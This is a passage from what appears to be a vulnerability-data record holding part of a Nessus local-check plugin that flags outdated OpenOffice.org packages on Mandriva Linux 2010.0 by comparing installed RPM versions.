suggest as long as that package is needed\nfor a better look (#57385#c28).\n\nIt is enabled a fallback logic to properly select an OpenOffice.org\nstyle whenever one is set up but that is not installed (#57530#c1,\n#53284, #45133, #39043)\n\nIt is enabled the Firefox plugin for viewing OpenOffice.org documents\ninside browser.\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-base\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-calc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-core\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-devel-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-draw\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-filter-binfilter\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-gnome\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-af\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ar\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-bg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-br\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-bs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ca\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-cs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-cy\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-da\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-de\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-el\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-en_GB\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-en_US\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-es\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-et\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-eu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-fi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-fr\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-he\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-hi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-hu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-it\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ja\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ko\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-mk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-nb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-nl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-nn\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-pl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-pt\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-pt_BR\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ru\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-sk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-sl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-sv\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ta\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-tr\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-zh_CN\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-zh_TW\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-zu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-impress\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-java-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-af\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ar\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-bg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-br\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-bs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ca\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-cs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-cy\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-da\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-de\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-el\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-en_GB\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-es\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-et\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-eu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-fi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-fr\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-he\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-hi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-hu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-it\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ja\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ko\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-mk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-nb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-nl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-nn\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-pl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-pt\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-pt_BR\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ru\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-sk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-sl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-sv\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ta\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-tr\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-zh_CN\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-zh_TW\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-zu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-math\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-mono\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-openclipart\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-pdfimport\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-presentation-minimizer\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-presenter-screen\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-pyuno\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-crystal\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-galaxy\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-hicontrast\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-industrial\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-tango\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-testtool\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-wiki-publisher\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-writer\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:linux:2010.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2010/04/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/07/30\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Mandriva Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/Mandrake/release\", \"Host/Mandrake/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Mandrake/release\")) audit(AUDIT_OS_NOT, \"Mandriva / Mandake Linux\");\nif (!get_kb_item(\"Host/Mandrake/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^(amd64|i[3-6]86|x86_64)$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Mandriva / Mandrake Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-base-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-calc-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-common-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-core-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-devel-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-devel-doc-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-draw-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-filter-binfilter-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-gnome-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-af-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ar-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-bg-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-br-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-bs-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ca-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-cs-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-cy-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-da-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-de-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-el-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-en_GB-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-en_US-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-es-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-et-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-eu-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-fi-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-fr-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-he-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-hi-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-hu-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-it-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ja-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ko-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-mk-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-nb-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-nl-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-nn-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-pl-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-pt-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-pt_BR-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ru-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-sk-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-sl-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-sv-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ta-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-tr-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-zh_CN-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-zh_TW-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-zu-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-impress-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-java-common-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-af-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ar-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-bg-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-br-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-bs-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ca-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-cs-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-cy-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-da-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-de-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-el-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-en_GB-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-es-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-et-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-eu-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-fi-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-fr-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-he-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-hi-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-hu-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-it-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ja-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ko-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-mk-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-nb-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-nl-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-nn-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-pl-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-pt-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-pt_BR-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ru-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-sk-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-sl-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-sv-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ta-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-tr-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-zh_CN-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-zh_TW-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-zu-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-math-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-mono-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-openclipart-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-pdfimport-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-presentation-minimizer-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-presenter-screen-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-pyuno-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-crystal-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-galaxy-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-hicontrast-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-industrial-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-style-tango-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-testtool-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-wiki-publisher-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-writer-3.1.1-2.5mdv2010.0\", yank:\"mdv\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "openvas": [{"lastseen": 